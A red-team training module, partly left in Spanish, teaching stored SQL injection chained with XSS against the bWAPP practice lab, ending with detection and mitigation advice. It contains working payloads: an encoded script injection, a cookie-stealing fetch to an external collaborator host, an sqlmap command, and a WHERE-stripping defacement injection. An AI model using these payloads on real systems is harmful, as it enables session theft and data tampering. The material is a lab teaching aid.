📕 FIELD MANUAL 5.1: STORED SQL INJECTION AND XSS CHAINING
Objective: We will inject persistent malicious content into the database to attack privileged users (Administrators).
Classification: RED TEAM EYES ONLY
Objective: We will inject malicious persistent content into the database to attack privileged users (Administrators).
bWAPP Targets: SQL Injection - Stored (Blog).
MITRE ATT&CK: T1190, T1059.007 (Cross-Site Scripting).
1. INTEL & RECON: THE LAND MINE
Sección titulada «1. INTEL & RECON: LA MINA TERRESTRE»Tactical Difference (Reflected vs Stored)
Sección titulada «Diferencia Táctica (Reflected vs Stored)»- Reflected (What we have done so far): The attack happens in real time. We send the malicious link, the victim clicks it, and it occurs.
- Stored (Persistent): The attack is saved. We will upload a comment to a blog today. The administrator will read it in a week. The code will execute in the administrator's browser at that moment.
The Vulnerable Scenario
Sección titulada «El Escenario Vulnerable»We will imagine a comment system on a Blog. Backend Code (Simplified):
$comentario = $_POST['comment'];// Vulnerabilidad: INSERT directo sin sanitizar$sql = "INSERT INTO comments (body) VALUES ('$comentario')";mysqli_query($link, $sql);If we manage to manipulate $comentario to close the quote and add our own fields or commands, we will permanently alter the integrity of the database.
2. WEAPONIZATION: CHAINING (SQLi + XSS)
Sección titulada «2. WEAPONIZATION: CHAINING (SQLi + XSS)»The goal is not just to break the SQL (which we could), but to use SQLi to bypass XSS filters or simply to place a JavaScript payload where the administrator will see it.
Step 1: Reconnaissance of the INSERT
Sección titulada «Paso 1: Reconocimiento del INSERT»In bWAPP (Blog), we will intercept the request to submit a comment.
It will likely be a INSERT INTO blog (date, entry, owner) VALUES (...).
Step 2: The Hybrid Payload
Sección titulada «Paso 2: El Payload Híbrido»We want to inject a script that steals the administrator's cookies.
If the application filters <script> on the frontend, we can often use SQL Hex Encoding to sneak it through, as the database will decode it when saving.
Conceptual Payload (Stored XSS via SQL):
Let's assume we will inject into the entry field.
Test', (SELECT char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62))) --- Explanation:
char(...)is the ASCII representation of<script>alert(1)</script>. - Effect: The database will execute the
char()function, convert the numbers to text, and save<script>alert(1)</script>in the table. - Result: When the admin views the blog, the script will execute and trigger the alert.
Step 3: Cookie Stealing (The real attack)
Sección titulada «Paso 3: Cookie Stealing (El ataque real)»Instead of alert(1), we will use a “Pixel Tracker” or a fetch to send the cookie to our server (Burp Collaborator).
JS Payload:
<script>fetch('[http://burpcollaborator.net/?cookie=](http://burpcollaborator.net/?cookie=)' + document.cookie)</script>3. AUTOMATION: SQLMAP FOR STORED
Sección titulada «3. AUTOMATION: SQLMAP PARA STORED»SQLMap can exploit stored injections, but it needs to know two things:
- The URL where it is injected (the comment POST).
- The URL where the result is viewed (the blog page).
Command:
sqlmap -u "http://bwapp/sqli_16.php" \ --data="entry=test&action=blog" \ --second-url="http://bwapp/sqli_16.php" \ --technique=E \ --dbs-second-url: Tells SQLMap: “Inject into the main URL, but look for the result (or the error) in this second URL”. Fundamental for Stored SQLi.
4. ESCALATION: DEFACEMENT AND TOTAL PERSISTENCE
Sección titulada «4. ESCALADA: DEFACEMENT Y PERSISTENCIA TOTAL»If we have control of INSERT or UPDATE, we can do more than XSS.
Mass Defacement (UPDATE without WHERE)
Sección titulada «Defacement Masivo (UPDATE sin WHERE)»If we find an injection in a UPDATE (e.g., changing my profile) and manage to comment out the WHERE clause:
- Original Query:
UPDATE users SET bio='$bio' WHERE id=5 - Payload:
Hackeado por RedTeam' -- - - Resulting Query:
UPDATE users SET bio='Hackeado por RedTeam' -- - WHERE id=5 - Effect: By deleting the
WHERE, the database will update ALL rows. We will have changed the biography of all users (including the admin) to “Hacked by RedTeam”.
5. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «5. VISIÓN DEL EQUIPO PURPLE (DEFENSA)»🕵️ Detection
Sección titulada «🕵️ Detección»- Database Analysis: We will periodically scan the database tables for dangerous patterns (
<script>,javascript:,onerror=) in text columns. - Outgoing WAF: A well-configured WAF not only blocks incoming attacks but also filters outgoing HTML responses. If we detect that the database is returning a
<script>in a field that should be plain text, we will block it.
🛡️ Mitigation
Sección titulada «🛡️ Mitigación»- Output Encoding (Context-Aware): It is the #1 defense against XSS, even if SQL injection was successful.
- When printing the comment in PHP:
echo htmlspecialchars($comentario, ENT_QUOTES, 'UTF-8');. - This converts
<script>to<script>, which the browser will display as text but not execute.
- When printing the comment in PHP:
- Prepared Statements: We will prevent the SQL payload from manipulating the
INSERTin the first place.
Status: Module 5.1 Completed.
Mission in bWAPP: We will use the Blog form to insert a comment containing a simple SQL injection (test') to see if we break the page, and then we will attempt to sneak in a persistent alert(1).

